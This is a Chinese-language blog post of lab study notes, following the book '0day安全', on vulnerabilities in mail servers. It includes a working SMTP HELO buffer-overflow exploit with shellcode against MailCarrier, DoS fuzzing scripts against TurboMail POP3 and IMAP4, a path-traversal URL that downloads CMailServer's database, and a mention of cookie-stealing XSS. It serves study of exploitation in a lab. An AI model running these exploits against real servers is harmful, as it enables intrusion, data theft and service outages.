《0day安全》——E-mail的漏洞挖掘

再跟作者继续学吧

SMTP漏洞:mailcarrier

mailcarrier我在英文的xp系统上才能安装,中文的xp不行

blob.png

注意如果windows开启了smtp注意关掉

代码:

# -*- coding: utf-8 -*-
from smtplib import SMTP as smtp
HOST = "192.168.253.156"
username = 'A' * 3000
pwd = '123456' 
def main():
try:
s = smtp(HOST)
except :
print "connect Host : %s error" % HOST
return
print "connected to SMTP Host : %s ***" % HOST
try:
s.login(username, pwd)
except :
print "username or password is error"
return
print "*** login successed"
return
if __name__ == '__main__':
main()

blob.png

我们使用HELO命令测试

blob.png

我们看看如何定位,还是利用mona吧

blob.png

可以看到了

blob.png

位置为5093

blob.png

那我们再找找jmp esp什么的

但找到的都是只读什么的

blob.png

但我用作者之前推荐的od插件就找到很多了

blob.png

试试

blob.png

可能由于那个是不可见程序,可以对话框没显示?

blob.png

跟踪的话是执行成功了的,也听到声音了,

最终代码:

# -*- coding: utf-8 -*-
# @Date    : 2017-02-20 11:10:54
import struct
import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
jmp_esp = 0x7E492530
jmp_esp = struct.pack("<I", jmp_esp)
nop = '\x90' * 12
shellcode = "\x33\xDB\x53\x68\x6E\x63\x68\x21\x68\x74\x62\x72\x61\x68\x67\x69\x61\x6E\x8B\xC4\x53\x50\x50\x53\xB8\xEA\x07\x45\x7E\xFF\xD0"
buffer = 'A' * 5093
payload = buffer + jmp_esp + shellcode
try:
s.connect(("192.168.253.156", 25))
s.send('HELO ' + payload + '\r\n')
data = s.recv(1024)
s.close()
except :
print "Could not connect to SMTP!"

POP3漏洞:TurboMail

pop3是收邮件的

非常简洁

blob.png

看看登陆的python代码先

# -*- coding: utf-8 -*-
# @Date    : 2017-02-20 14:09:02
import poplib
M = poplib.POP3("192.168.253.151")
# 账户密码
M.user("[email protected]")
M.pass_("123456")

实验一下

blob.png

这个软件的设置应该是在网页端的

还有语音选一下中文吧

blob.png

直接点击管理员,再点登陆就进入了

现在增加一个域

blob.png

下面开始攻击

代码:

# -*- coding: utf-8 -*-
# @Date    : 2017-02-20 14:09:02
import poplib
M = poplib.POP3("192.168.253.151")
payload = 'a' * 260
M.user(payload)
M.pass_("1234567")

blob.png

我们跟着作者找断点下

blob.png

blob.png

下断点

blob.png

运行脚本,断下后,运行到用户代码,就可以看到收到用户名了

blob.png

之后就是密码

blob.png

跟着我们继续f8单步,但到下面这里,程序就退出了

blob.png

那我们下次直接运行到这f7跟进后再f8单步

跟进后继续单步

但要注意观察数据和堆栈

blob.png

这里又终止了

blob.png

其实这里就看到域,账号密码了

blob.png

跟着又终止运行了

blob.png

继续,跟作者的一样blob.png

继续走,可以看到路径了

blob.png

他肯定是用户名跟路径拼接,跟那个路径的配置文件比较,看看是否正确

blob.png

最中我跟踪到是在cookie检测处退出的程序

blob.png

我觉得是覆盖了cookie了

作者说是超过了系统文件目录的长度

但这里若是缓冲区溢出也是比较难利用了,有gs

但肯定是可以dos的

IMAP4漏洞:TurboMail

这个协议也是收邮件的

这个协议可以操作文件夹,那我们就可以测试一下文件夹名字过长行不行咯

python也有库了,直接上代码

# -*- coding: utf-8 -*-
# @Date    : 2017-02-20 16:40:16
import imaplib
M = imaplib.IMAP4("192.168.253.151")
payload = 'A' * 3000
try:
M.login("[email protected]", '123456')
except :
print "login error!"
# 选择文件夹
try:
s = M.select(payload)
except M.error, e:
print "select error!"
M.close()
M.logout()

运行结果

blob.png

blob.png

又是dos漏洞

应该是名称过长,覆盖了某些数据,导致读取一个非法地址,再从非法地址读取造成运行错误

我在自己写多点吧

这里利用上次作者的方法做一遍,发现更多的东西吧

还是对接受函数下断点,执行到用户代码

一次收到用户,密码

以及那个选择文件目录的命令,如下图是select命令

blob.png

继续单步

可以看到在栈上确实覆盖了很多数据

blob.png

为了加快速度,我尝试直接对那些数据下内存访问断点

blob.png

还是直接到了报错的地方

blob.png

那么esi从栈上来,栈上的41414141从哪里来

是从这里过来的

blob.png

调试发现确实是

blob.png

其他E-mail漏洞

url中的路径回溯

这里使用的是cmailserver 5.4.6

还需要有iis哦

设置虚拟目录就有web版了

blob.png

可以登陆了

blob.png添加附件发给自己

blob.png

这个附件的链接是

http://192.168.253.151/mail/download.asp?urlOfAttach=%2Fmaildata%2Fgiantbranch%2F16388734029428%2F4%2F%D0%C2%BD%A8+%CE%C4%B1%BE%CE%C4%B5%B5%2Etxt

我们看看download.php

我们发现只判断了前面是否是maildata

blob.png

那这样是不是可以http://192.168.253.151/mail/download.asp?urlOfAttach=/maildata/../db/db.mdb

下载数据库呢

确实可以啊

blob.png

内存中的路径回溯


软件:Kerio MailServer v6.7.3 Build 7919

blob.png

打开后就会看到有什么服务,端口是什么

blob.png而且他读取的就是下面这个文件夹里面的文件的信息

blob.png

那我们是不是可以抓包,改包,可以实现任意文件读取?

但用封包工具抓包,抓的都是密文,看不到明文

blob.png

那这样子的想法就不行了咯

那么设置时候怎么下断点呢,算了就先这样,看看作者的图就好,知道怎么截断设置文件名的告诉我

我下断CreateFile和WriteFile都不行

邮件中的XSS

还是Turbomail

blob.png

blob.png

这可以盗取cookie,钓鱼等

好啦,继续前行

打赏
微信
支付宝
微信二维码图片

微信扫描二维码打赏

支付宝二维码图片

支付宝扫描二维码打赏

发表评论